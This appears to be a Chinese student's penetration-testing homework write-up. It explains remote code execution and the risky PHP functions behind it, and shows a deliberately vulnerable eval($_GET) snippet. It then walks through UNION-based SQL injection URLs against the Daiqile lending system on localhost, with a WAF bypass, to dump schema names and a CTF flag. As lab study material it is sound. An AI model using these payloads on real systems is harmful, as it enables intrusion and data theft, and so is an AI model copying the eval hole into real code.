渗透第二次作业

目录

简述rce漏洞

可能产生rce漏洞的函数

RCE代码执行漏洞示例

贷齐乐系统多处SQL注入漏洞

​编辑

爆出库名

爆出表名

爆出表下的列名

查flag数据


简述rce漏洞

​ rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

可能产生rce漏洞的函数

1.PHP的system()和exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。

2.PHP的eval()函数:该函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

3.PHP的create_function()函数:该函数用于动态创建函数,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

RCE代码执行漏洞示例

复制代码
<?php
        $code=$_GET['x'];
        eval($code);
?>

访问刚刚创建的php文件,参数后面的内容写为"phpinfo()".可以看到网页执行了phpinfo()语句并进行了回显。

访问刚刚创建的php文件,参数后面的内容写为"echo 123;".可以看到网页执行了echo 123语句并进行了回显

贷齐乐系统多处SQL注入漏洞

该漏洞基于错误的WAF引发的,同SQLi靶场中的29关到31关类似,但该漏洞是错误的WAF引起的,而29关到31关则是HTTP参数污染引起的。还是有些不同之处的,而这里是HPP全局参数污染以及PHP的一个特性。

单引号闭合

爆出库名

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

爆出表名

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

爆出表下的列名

复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1
复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

查flag数据

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

总结

PHP特性:在GET请求中,如果参数的键(key)包含点号(.),PHP会自动将其转换为下划线(_)。例如,参数i.d会被转换为i_d

相关推荐
程序员陆业聪7 小时前
绕过Frida/Xposed的最后防线:SVC直接系统调用与Native反Hook实战
android
程序员陆业聪7 小时前
WebView与原生JS交互:JSBridge生产级实现与安全防护
android
我命由我1234510 小时前
Android 开发问题:MlKitException: An internal error occurred during initialization.
android·java·java-ee·android jetpack·android-studio·androidx·android runtime
Meteors.10 小时前
Android自定义 View 三核心方法详解
android
2501_9160074710 小时前
前端开发常用软件与工具全面指南
android·ios·小程序·https·uni-app·iphone·webview
赏金术士11 小时前
Android Tinker 热修复集成与使用指南 1.9.15.2
android·热修复·tinker
2603_9541383912 小时前
安卓误删文件先别慌!5个实用小技巧指南教你补救
android·智能手机
波诺波14 小时前
5-SOFA可变形的3D物体 5-elasticity.scn
android
2501_9159090615 小时前
iOS应用性能优化:十大策略提升用户体验与开发效率
android·ios·小程序·https·uni-app·iphone·webview
sun00770016 小时前
打通android全链路,网卡驱动, 内核 , 到上层hal, framework
android